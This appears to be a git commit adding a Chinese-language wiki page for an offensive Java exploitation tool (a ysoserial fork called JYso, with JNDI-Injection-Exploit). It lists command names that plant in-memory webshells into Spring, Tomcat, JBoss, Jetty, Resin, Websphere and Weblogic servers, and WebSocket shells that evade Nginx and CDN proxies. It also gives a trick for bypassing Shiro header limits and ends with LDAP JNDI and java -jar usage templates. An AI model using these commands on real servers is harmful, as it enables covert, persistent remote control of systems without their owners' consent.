Created 10、Java Mem Shell (markdown)

炁
2024-10-10 19:44:54 +08:00
parent 7761169c2f
commit 7086099d69
+49
@@ -0,0 +1,49 @@
# 使用参数
解决 Shiro Header 头部过长问题:
- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载
在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转
从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2
内存马:
- 命令 `EX-MS-SpringInterceptorMS-...`:向系统内植入 Spring 拦截器类型的内存马
- 命令 `EX-MS-SpringControllerMS-...`:向系统内植入 Spring Controller 类型的内存马
- 命令 `EX-MS-SpringWebfluxMS-...`:向系统内植入 Spring WebFilter 类型的内存马(仅支持 gz 及 cmd)
- 命令 `EX-MS-TFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马
- 命令 `EX-MS-TFMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Filter 型内存马
- 命令 `EX-MS-TFMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马
- 命令 `EX-MS-TLMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马
- 命令 `EX-MS-TSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马
- 命令 `EX-MS-TSMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Servlet 型内存马
- 命令 `EX-MS-TSMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马
- 命令 `EX-MS-JBFMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马
- 命令 `EX-MS-JBSMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马
- 命令 `EX-MS-JFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马
- 命令 `EX-MS-JSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马
- 命令 `EX-MS-RFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马
- 命令 `EX-MS-RSMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马
- 命令 `EX-MS-WSFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马
- 命令 `EX-MS-RMIBindTemplate-...`:RMI 型内存马
- 命令 ```cmsMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x`
- 命令 ```proxyMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x`
- 命令 ```WsResin```: 适配 Resin 的 WebSocket 马,请求头中`Upgrade: websocket`
- 命令 ```MsTSJser```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/cmd`
- 命令 ```MsTSJproxy```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/proxy`
- 命令 ```WsWeblogic```: 适配 Weblogic 的 WebSocket 马,路径`/path`
- 命令 ```WSWebsphereProxy```: 适配 Websphere 的 WebSocket 马,路径`/path`
# 用法示例
+ JNDI-Injection-Exploit 用法:
+ shell后可以加额外参数,需要base64编码,参数具体看1.5
```
ldap://127.0.0.1:1389/[Controller]/[M-EX-MS-MemShellClass-...]/shell/base64params
```
+ ysoserial
```
java -jar JYso-[version].jar -y -g [Gadget] -p "[EX-MS-MemShellClass]"
```